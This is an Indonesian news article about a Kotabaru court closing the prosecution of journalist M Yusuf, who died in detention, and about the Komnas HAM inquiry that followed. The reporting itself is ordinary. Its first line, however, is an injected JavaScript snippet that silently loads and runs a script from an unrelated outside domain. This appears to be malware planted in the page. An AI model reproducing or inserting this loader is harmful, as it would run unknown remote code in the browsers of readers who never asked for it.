(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Majelis Hakim Tutup Sidang Pengadilan Jurnalis alm M Yusuf


KOTABARU, Pengadilan Negeri (PN) Kotabaru, Kamis (28/6), akhirnya resmi menutup perkara sidang dengan terdakwa Muhammad Yusuf, jurnalis media online yang meninggal dalam masa penahanan di Lapas Kelas IIB Kotabaru, Minggu (10/6) silam. Sidang yang semula mengagendakan keterangan saksi dari pihak terdakwa, berganti menjadi penyerahan surat kematian almarhum M Yusuf dari Jaksa Penuntut Umum (JPU) dan penetapan gugur penuntutan dari hakim. Dua kursi bagi saksi pun kosong melompong.

Penetapan ini diambil hakim ketua sekaligus hakim pemeriksa Darwanto, dalam sidang yang juga dihadiri tim jaksa penuntut umum (JPU) dari Kejari Kotabaru, Wahyu Oktaviandi, Agung Nugroho, Bimo Bayu, dan Aji Kiswanto. Hakim Darwanto mengeluarkan surat penetapan dari penuntut surat ketetapan penghentian penuntutan (SKPP). Hadir juga pada kesempatan tersebut penasihat hukum terdakwa Nawawi dari LBHI Setyanegara.

Nawawi mengatakan, sidang pamungkas terhadap alm M Yusuf mengacu pasal 77 KUHP karena status terdakwa sudah meninggal dunia. “Setelah ini tidak ada sidang lagi, namun kami (tetap) siapkan gugatan ke Polres Kotabaru setelah autopsi selesai. Untuk mempersiapkan materi gugatan, itu semua dengan bukti yang kami kumpulkan,” ujar Nawawi.

Sebelumnya, almarhum Yusuf didakwa JPU telah melanggar Pasal 45A UU Nomor 19 Tahun 2016 tentang Perubahan atas UU Nomor 11 Tahun 2008 tentang Informasi dan Transaksi Elektronik (ITE) jo Pasal 45 ayat (3). Pasal ini mengatur setiap orang dengan sengaja tanpa hak mendistribusikan dan/atau mentrasmisikan dan/atau membuat dapat diaksesnya informasi elektronik dan/atau dokumen elektronik yang memiliki muatan penghinaan dan/atau pencemaran nama baik.

Ancaman penjara maksimal dalam Pasal 45A adalah 6 tahun penjara dan/atau denda Rp 1 miliar. Sedangkan, Pasal 45 ayat (3), mengandung ancaman pidana penjara minimal 4 tahun dan/atau denda maksima Rp 750 juta.

Dalam proses persidangan, JPU belum sempat membacakan surat tuntutan. Persidangan baru memasuki agenda pemeriksaan saksi-saksi di PN Kotabaru. Perkara ini bermula dari pengaduan perusahaan sawit, PT Multi Sarana Agro Mandiri (MSAM), karena berita yang ditulis M Yusuf dinilai mengandung provokasi, menghasut, dan mencemarkan nama baik PT MSAM.

Pada sidang tersebut, Nawawi juga sempat bersua Komisioner Komnas HAM, Hairansyah. Menurutnya, Komnas HAM mendukung upaya pengungkapan teka-teki kematian Yusuf.

Sebelum ke PN Kotabaru, Komnas HAM menggali informasi ke keluarga almarhum Yusuf pada Rabu sore (27/6). “Saya enggak bisa dampingi keluarga almarhum, tapi saya yakin Komnas HAM karena lembaga independen,” ujar Nawawi dilansir Kumparan.

Adapun istri almarhum Yusuf, T Arvaidah, mengaku batal menghadiri sidang pamungkas suaminya karena anaknya sedang sakit. Ia sejatinya ingin mendatangi persidangan terakhir atas terdakwa M Yusuf. Tapi, ia membenarkan Komnas HAM menyambangi kediamannya untuk mengklarifikasi soal proses penangkapan, riwayat penyakit, dan pemidanaan terhadap Yusuf. Menurut Arvaidah, Komnas HAM mencari keterangan kira-kira selama tiga jam pada pukul 15.00-18.00 wita, Rabu (27/6).

Wakil Ketua Bidang Internal Komnas HAM, Hairansyah, mengatakan tim investigasi Komnas HAM mendatangi keluarga almarhum Yusuf untuk mencari keterangan dan data tambahan. Dia mengklarifikasi temuan data di lapangan ke para pihak yang bersinggungan dengan kasus wartawan Yusuf. Menurut Hairansyah, Komnas HAM sudah memegang data awal dari tim audit internal Polda Kalsel yang lebih dulu menelisik proses pemeriksaan hukum terhadap Yusuf. “Data itu kami pakai sebagai data awal untuk klarifikasi ke pihak keluarga, Polres Kotabaru, dan lapas. Kesimpulan tim audit (Polda Kalsel) tidak ditemukan pelanggaran,” kata Hairansyah.

Dia juga belum bisa menyebut dugaan awal apakah kematian Yusuf ada unsur pelanggaran HAM atau tidak. Sebab tim investigasi butuh waktu minimal dua pekan untuk menghasilkan laporan awal setelah melewati sidang paripurna internal Komnas HAM. Adapun untuk mengahasilkan laporan akhir atas kasus tersebut butuh waktu satu-dua bulan setelah data terkumpul lengkap.(ammar/net)

Reporter: Ammar/net
Editor: Chell

Desy Arfianty

Recent Posts

Akhiri Masa Cuti, Aditya Kembali ke Balai Kota Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Penjabat Sementara (Pjs) Wali Kota Banjarbaru Dra Hj Nurliani MAP telah bertugas… Read More

4 jam ago

FDM HSU Ajak Masyarakat Awasi Pilkada 2024

KANALKALIMANTAN.COM, AMUNTAI -  Menjelang hari pemilihan dan memasuki masa tenang Pemilihan Kepala Daerah (Pilkada) 2024,… Read More

5 jam ago

KPU HSU Mulai Distribusikan Logistik Pilkada ke 10 Kecamatan

KANALKALIMANTAN.COM, AMUNTAI - Komisi Pemilihan Umum (KPU) Kabupaten Hulu Sungai Utara (HSU) mulai mendistribusikan logistik… Read More

5 jam ago

Pelajar dari 23 Negara Ikuti OPPO RUN 2024

KANALKALIMANTAN.COM, BALI – Didukung oleh BRImo, OPPO Indonesia resmi menggelar OPPO RUN 2024 yang berlangsung… Read More

7 jam ago

Jurnalisme Hijau di Era Digital: Membumikan Kompleksitas Isu Lingkungan Agar Tak Membosankan

KANALKALIMANTAN.COM, JAKARTA - Kompleksitas isu lingkungan kerap dianggap sulit untuk dikemas menjadi berita sederhana namun… Read More

24 jam ago

Masuk Masa Tenang, APK Paslon di Banjarbaru Dibersihkan

KANALKALIMANTAN.COM, BANJARBARU - Ratusan personel tim terpadu menertibkan Alat Peraga Kampanye (APK) sehari jelang masa… Read More

1 hari ago

This website uses cookies.